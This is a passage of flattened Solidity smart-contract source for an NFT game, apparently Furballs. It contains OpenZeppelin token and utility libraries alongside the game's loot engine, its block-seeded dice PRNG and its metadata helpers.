* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.6;
import "./ILootEngine.sol";
import "../editions/IFurballEdition.sol";
import "../Furballs.sol";
import "../utils/FurLib.sol";
import "../utils/FurProxy.sol";
import "../utils/ProxyRegistry.sol";
import "../utils/Dice.sol";
import "../utils/Governance.sol";
import "../utils/MetaData.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
/// @title LootEngine
/// @author LFG Gaming LLC
/// @notice Base implementation of the loot engine
abstract contract LootEngine is ERC165, ILootEngine, Dice, FurProxy {
ProxyRegistry private _proxies;
// An address which may act on behalf of the owner (company)
address public companyWalletProxy;
// snackId to "definition" of the snack
mapping(uint32 => FurLib.Snack) private _snacks;
uint32 maxExperience = 2010000;
constructor(
address furballsAddress, address tradeProxy, address companyProxy
) FurProxy(furballsAddress) {
_proxies = ProxyRegistry(tradeProxy);
companyWalletProxy = companyProxy;
_defineSnack(0x100, 24 , 250, 15, 0);
_defineSnack(0x200, 24 * 3, 750, 20, 0);
_defineSnack(0x300, 24 * 7, 1500, 25, 0);
}
/// @notice Allows admins to configure the snack store.
function setSnack(
uint32 snackId, uint32 duration, uint16 furCost, uint16 hap, uint16 en
) external gameAdmin {
_defineSnack(snackId, duration, furCost, hap, en);
}
/// @notice Loot can have different weight to help prevent over-powering a furball
/// @dev Each point of weight can be offset by a point of energy; the result reduces luck
function weightOf(uint128 lootId) external virtual override pure returns (uint16) {
return 2;
}
/// @notice Gets called for Metadata
function furballDescription(uint256 tokenId) external virtual override view returns (string memory) {
return "";
}
/// @notice Gets called at the beginning of token render; could add underlaid artwork
function render(uint256 tokenId) external virtual override view returns(string memory) {
return "";
}
/// @notice Checking the zone may use _require to detect preconditions.
function enterZone(
uint256 tokenId, uint32 zone, uint256[] memory team
) external virtual override returns(uint256) {
// Nothing to see here.
return uint256(zone);
}
/// @notice Proxy logic is presently delegated to OpenSea-like contract
function canProxyTrades(
address owner, address operator
) external virtual override view onlyFurballs returns(bool) {
if (address(_proxies) == address(0)) return false;
return address(_proxies.proxies(owner)) == operator;
}
/// @notice Allow a player to play? Throws on error if not.
/// @dev This is core gameplay security logic
function approveSender(address sender) external virtual override view onlyFurballs returns(uint) {
if (sender == companyWalletProxy && sender != address(0)) return FurLib.PERMISSION_OWNER;
return _permissions(sender);
}
/// @notice Calculates new level for experience
function onExperience(
FurLib.Furball memory furball, address owner, uint32 experience
) external virtual override onlyFurballs returns(uint32 totalExp, uint16 levels) {
if (experience == 0) return (0, 0);
uint32 has = furball.experience;
uint32 max = maxExperience;
totalExp = (experience < max && has < (max - experience)) ? (has + experience) : max;
// Calculate new level & check for level-up
uint16 oldLevel = furball.level;
uint16 level = uint16(FurLib.expToLevel(totalExp, max));
levels = level > oldLevel ? (level - oldLevel) : 0;
if (levels > 0) {
// Update community standing
furballs.governance().updateMaxLevel(owner, level);
}
return (totalExp, levels);
}
/// @notice The trade hook can update balances or assign rewards
function onTrade(
FurLib.Furball memory furball, address from, address to
) external virtual override onlyFurballs {
Governance gov = furballs.governance();
if (from != address(0)) gov.updateAccount(from, furballs.balanceOf(from) - 1);
if (to != address(0)) gov.updateAccount(to, furballs.balanceOf(to) + 1);
}
/// @notice Attempt to upgrade a given piece of loot (item ID)
function upgradeLoot(
FurLib.RewardModifiers memory modifiers,
address owner,
uint128 lootId,
uint8 chances
) external virtual override returns(uint128) {
(uint8 rarity, uint8 stat) = _itemRarityStat(lootId);
require(rarity > 0 && rarity < 3, "RARITY");
uint32 chance = (rarity == 1 ? 75 : 25) * uint32(chances) + uint32(modifiers.luckPercent * 10);
// Remove the 100% from loot, with 5% minimum chance
chance = chance > 1050 ? (chance - 1000) : 50;
// Even with many chances, odds are capped:
if (chance > 750) chance = 750;
uint32 threshold = (FurLib.Max32 / 1000) * (1000 - chance);
uint256 rolled = (uint256(roll(modifiers.expPercent)));
return rolled < threshold ? 0 : _packLoot(rarity + 1, stat);
}
/// @notice Main loot-drop functionm
function dropLoot(
uint32 intervals,
FurLib.RewardModifiers memory modifiers
) external virtual override onlyFurballs returns(uint128) {
// Only battles drop loot.
if (modifiers.zone >= 0x10000) return 0;
(uint8 rarity, uint8 stat) = rollRarityStat(
uint32((intervals * uint256(modifiers.luckPercent)) /100), 0);
return _packLoot(rarity, stat);
}
function _packLoot(uint16 rarity, uint16 stat) internal pure returns(uint128) {
return rarity == 0 ? 0 : (uint16(rarity) * 0x10000) + (stat * 0x100);
}
/// @notice Core loot drop rarity randomization
/// @dev exposes an interface helpful for the unit tests, but is not otherwise called publicly
function rollRarityStat(uint32 chance, uint32 seed) public returns(uint8, uint8) {
if (chance == 0) return (0, 0);
uint32 threshold = 4320;
uint32 rolled = roll(seed) % threshold;
uint8 stat = uint8(rolled % 2);
if (chance > threshold || rolled >= (threshold - chance)) return (3, stat);
threshold -= chance;
if (chance * 3 > threshold || rolled >= (threshold - chance * 3)) return (2, stat);
threshold -= chance * 3;
if (chance * 6 > threshold || rolled >= (threshold - chance * 6)) return (1, stat);
return (0, stat);
}
/// @notice The snack shop has IDs for each snack definition
function getSnack(uint32 snackId) external view virtual override returns(FurLib.Snack memory) {
return _snacks[snackId];
}
/// @notice Layers on LootEngine modifiers to rewards
function modifyReward(
FurLib.Furball memory furball,
FurLib.RewardModifiers memory modifiers,
FurLib.Account memory account,
bool contextual
) external virtual override view returns(FurLib.RewardModifiers memory) {
// Use temporary variables instead of re-assignment
uint16 energy = modifiers.energyPoints;
uint16 weight = furball.weight;
uint16 expPercent = modifiers.expPercent + modifiers.happinessPoints;
uint16 luckPercent = modifiers.luckPercent + modifiers.happinessPoints;
uint16 furPercent = modifiers.furPercent + _furBoost(furball.level) + energy;
// First add in the inventory
for (uint256 i=0; i<furball.inventory.length; i++) {
uint128 lootId = uint128(furball.inventory[i] / 0x100);
uint32 stackSize = uint32(furball.inventory[i] % 0x100);
(uint8 rarity, uint8 stat) = _itemRarityStat(lootId);
uint16 boost = uint16(_lootRarityBoost(rarity) * stackSize);
if (stat == 0) {
expPercent += boost;
} else {
furPercent += boost;
}
}
// Team size boosts!
uint256 teamSize = account.permissions < 2 ? account.numFurballs : 0;
if (teamSize < 10 && teamSize > 1) {
uint16 amt = uint16(2 * (teamSize - 1));
expPercent += amt;
furPercent += amt;
}
// ---------------------------------------------------------------------------------------------
// Negative impacts come last, so subtraction does not underflow.
// ---------------------------------------------------------------------------------------------
// Penalties for whales.
if (teamSize > 10) {
uint16 amt = uint16(5 * (teamSize > 20 ? 10 : (teamSize - 10)));
expPercent -= amt;
furPercent -= amt;
}
// Calculate weight & reduce luck
if (weight > 0) {
if (energy > 0) {
weight = (energy >= weight) ? 0 : (weight - energy);
}
if (weight > 0) {
luckPercent = weight >= luckPercent ? 0 : (luckPercent - weight);
}
}
modifiers.expPercent = expPercent;
modifiers.furPercent = furPercent;
modifiers.luckPercent = luckPercent;
return modifiers;
}
/// @notice OpenSea metadata
function attributesMetadata(
uint256 tokenId
) external virtual override view returns(bytes memory) {
FurLib.FurballStats memory stats = furballs.stats(tokenId, false);
return abi.encodePacked(
MetaData.traitValue("Level", stats.definition.level),
MetaData.traitValue("Rare Genes Boost", stats.definition.rarity),
MetaData.traitNumber("Edition", (tokenId % 0x100) + 1),
MetaData.traitNumber("Unique Loot Collected", stats.definition.inventory.length),
MetaData.traitBoost("EXP Boost", stats.modifiers.expPercent),
MetaData.traitBoost("FUR Boost", stats.modifiers.furPercent),
MetaData.traitDate("Acquired", stats.definition.trade),
MetaData.traitDate("Birthday", stats.definition.birth)
);
}
/// @notice Store a new snack definition
function _defineSnack(
uint32 snackId, uint32 duration, uint16 furCost, uint16 hap, uint16 en
) internal {
_snacks[snackId].snackId = snackId;
_snacks[snackId].duration = duration;
_snacks[snackId].furCost = furCost;
_snacks[snackId].happiness = hap;
_snacks[snackId].energy = en;
_snacks[snackId].count = 1;
_snacks[snackId].fed = 0;
}
function _lootRarityBoost(uint16 rarity) internal pure returns (uint16) {
if (rarity == 1) return 5;
else if (rarity == 2) return 15;
else if (rarity == 3) return 30;
return 0;
}
/// @notice Gets the FUR boost for a given level
function _furBoost(uint16 level) internal pure returns (uint16) {
if (level >= 200) return 581;
if (level < 25) return (2 * level);
if (level < 50) return (5000 + (level - 25) * 225) / 100;
if (level < 75) return (10625 + (level - 50) * 250) / 100;
if (level < 100) return (16875 + (level - 75) * 275) / 100;
if (level < 125) return (23750 + (level - 100) * 300) / 100;
if (level < 150) return (31250 + (level - 125) * 325) / 100;
if (level < 175) return (39375 + (level - 150) * 350) / 100;
return (48125 + (level - 175) * 375) / 100;
}
/// @notice Unpacks an item, giving its rarity + stat
function _itemRarityStat(uint128 lootId) internal pure returns (uint8, uint8) {
return (
uint8(FurLib.extractBytes(lootId, FurLib.LOOT_BYTE_RARITY, 1)),
uint8(FurLib.extractBytes(lootId, FurLib.LOOT_BYTE_STAT, 1)));
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(ILootEngine).interfaceId ||
super.supportsInterface(interfaceId);
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.6;
// Contract doesn't really provide anything...
contract OwnableDelegateProxy {}
// Required format for OpenSea of proxy delegate store
// https://github.com/ProjectOpenSea/opensea-creatures/blob/f7257a043e82fae8251eec2bdde37a44fee474c4/contracts/ERC721Tradable.sol
// https://etherscan.io/address/0xa5409ec958c83c3f309868babaca7c86dcb077c1#code
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.6;
import "./FurLib.sol";
/// @title Dice
/// @author LFG Gaming LLC
/// @notice Math utility functions that leverage storage and thus cannot be pure
abstract contract Dice {
uint32 private LAST = 0; // Re-seed for PRNG
/// @notice A PRNG which re-seeds itself with block information & another PRNG
/// @dev This is unit-tested with monobit (frequency) and longestRunOfOnes
function roll(uint32 seed) public returns (uint32) {
LAST = uint32(uint256(keccak256(
abi.encodePacked(block.timestamp, block.basefee, _prng(LAST == 0 ? seed : LAST)))
));
return LAST;
}
/// @notice A PRNG based upon a Lehmer (Park-Miller) method
/// @dev https://en.wikipedia.org/wiki/Lehmer_random_number_generator
function _prng(uint32 seed) internal view returns (uint32) {
uint64 nonce = seed == 0 ? uint32(block.timestamp) : seed;
uint64 product = uint64(nonce) * 48271;
uint32 x = uint32((product % 0x7fffffff) + (product >> 31));
return (x & 0x7fffffff) + (x >> 31);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "./FurLib.sol";
/// @title MetaData
/// @author LFG Gaming LLC
/// @notice Utilities for creating MetaData (e.g., OpenSea)
library MetaData {
function trait(string memory traitType, string memory value) internal pure returns (bytes memory) {
return abi.encodePacked('{"trait_type": "', traitType,'", "value": "', value, '"}, ');
}
function traitNumberDisplay(
string memory traitType, string memory displayType, uint256 value
) internal pure returns (bytes memory) {
return abi.encodePacked(
'{"trait_type": "', traitType,
bytes(displayType).length > 0 ? '", "display_type": "' : '', displayType,
'", "value": ', FurLib.uint2str(value), '}, '
);
}
function traitValue(string memory traitType, uint256 value) internal pure returns (bytes memory) {
return traitNumberDisplay(traitType, "", value);
}
/// @notice Convert a modifier percentage (120%) into a metadata +20% boost
function traitBoost(
string memory traitType, uint256 percent
) internal pure returns (bytes memory) {
return traitNumberDisplay(traitType, "boost_percentage", percent > 100 ? (percent - 100) : 0);
}
function traitNumber(
string memory traitType, uint256 value
) internal pure returns (bytes memory) {
return traitNumberDisplay(traitType, "number", value);
}
function traitDate(
string memory traitType, uint256 value
) internal pure returns (bytes memory) {
return traitNumberDisplay(traitType, "date", value);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
